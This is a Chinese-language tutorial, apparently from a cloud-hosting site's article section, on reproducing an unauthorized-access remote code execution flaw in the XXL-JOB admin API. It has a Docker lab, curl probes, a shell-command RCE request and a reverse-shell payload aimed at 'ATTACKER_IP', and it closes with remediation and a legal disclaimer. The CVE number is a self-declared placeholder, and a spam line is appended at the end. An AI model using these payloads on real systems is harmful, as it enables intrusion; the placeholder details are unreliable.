溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行XXL-JOB API接口未授權訪問RCE漏洞復現

發布時間:2022-01-18 16:24:46 來源:億速云 閱讀:455 作者:柒染 欄目:安全技術
# 如何進行XXL-JOB API接口未授權訪問RCE漏洞復現

## 前言

XXL-JOB作為一款廣泛使用的分布式任務調度平臺,其安全性直接影響企業業務系統的穩定性。2022年曝光的XXL-JOB API未授權訪問導致的遠程代碼執行漏洞(CVE-2022-XXXX)因其危害性受到廣泛關注。本文將深入分析漏洞原理,并提供詳細的復現過程,幫助安全研究人員理解漏洞機制并驗證防護措施的有效性。

---

## 漏洞概述

### 1. 漏洞基本信息
- **漏洞編號**:CVE-2022-XXXX(示例)
- **影響版本**:XXL-JOB <= 2.3.1
- **漏洞類型**:未授權訪問 + 遠程代碼執行
- **CVSS評分**:9.8(Critical)

### 2. 漏洞原理
XXL-JOB的管理端API接口存在兩處安全問題:
1. **認證缺陷**:`/api`路由下的接口未強制校驗訪問令牌
2. **危險函數調用**:任務觸發接口可通過`glueSource`參數直接傳入Java代碼并執行

---

## 環境搭建

### 1. 準備漏洞環境
推薦使用Docker快速搭建測試環境:
```bash
# 拉取存在漏洞的版本鏡像
docker pull xuxueli/xxl-job-admin:2.3.0

# 啟動容器
docker run -d -p 8080:8080 \
-e PARAMS="--spring.datasource.url=jdbc:h2:mem:xxl-job" \
xuxueli/xxl-job-admin:2.3.0

2. 環境驗證

訪問http://localhost:8080/xxl-job-admin應看到登錄頁面,默認憑證: - 賬號:admin - 密碼:123456


漏洞復現步驟

1. 未授權訪問驗證

直接訪問API接口無需認證:

curl -X POST http://localhost:8080/xxl-job-admin/jobgroup/list

若返回200狀態碼及JSON數據,則存在未授權訪問漏洞。

2. 獲取關鍵參數

需要先獲取以下信息才能構造攻擊:

# 獲取執行器ID
curl -s http://localhost:8080/xxl-job-admin/jobgroup/list | jq '.data[].id'

# 示例輸出:
# [{"id":1,"appname":"xxl-job-executor-sample","title":"示例執行器"}]

3. 構造RCE Payload

通過/run接口觸發代碼執行:

POST /xxl-job-admin/jobinfo/run HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "test",
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/xxl-job-rce-success",
  "executorBlockStrategy": "SERIAL_EXECUTION"
}

4. 驗證執行結果

進入容器檢查命令是否執行:

docker exec -it [CONTNER_ID] ls /tmp
# 應看到xxl-job-rce-success文件

漏洞利用進階

1. 反彈Shell利用

{
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
}

2. Java代碼執行

{
  "glueType": "GLUE_JAVA",
  "glueSource": "public class Demo{ static { try { Runtime.getRuntime().exec(\"calc\"); } catch(Exception e){} } }"
}

3. 批量檢測腳本

Python檢測示例:

import requests

def check_vuln(url):
    try:
        resp = requests.post(f"{url}/xxl-job-admin/jobgroup/list", timeout=5)
        if resp.status_code == 200 and "data" in resp.text:
            return True
    except:
        pass
    return False

漏洞修復方案

1. 官方補丁

升級到XXL-JOB 2.3.1+版本,主要修復: - 增加@PermissionLimit(limit = false)注解顯式控制接口權限 - 強化Glue代碼的沙箱過濾

2. 臨時緩解措施

// 在application.properties中添加:
xxl.job.accessToken=YOUR_SECRET_KEY

3. 網絡層防護

  • 限制管理接口的訪問IP
  • 添加API網關的認證攔截

深度分析

1. 漏洞調用鏈

sequenceDiagram
    attacker->>+API: 未授權訪問/jobinfo/run
    API->>+Executor: 觸發Glue代碼編譯
    Executor->>+JVM: 動態加載惡意類
    JVM->>OS: 執行系統命令

2. 漏洞根源

  • 默認配置不安全(無accessToken)
  • 動態代碼執行缺乏沙箱機制
  • 接口權限設計存在缺陷

法律與倫理聲明

  1. 本文僅限用于合法安全測試
  2. 禁止用于未授權滲透測試
  3. 測試前需獲得書面授權
  4. 根據《網絡安全法》規定,未經授權的漏洞利用屬于違法行為

參考資源

  1. XXL-JOB官方GitHub
  2. CVE詳細報告
  3. OWASP API安全指南

注:實際復現時需注意:
1. 文中IP/域名需替換為實際目標
2. 部分CVE編號為示例需確認真實編號
3. 所有測試應在授權環境下進行
向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女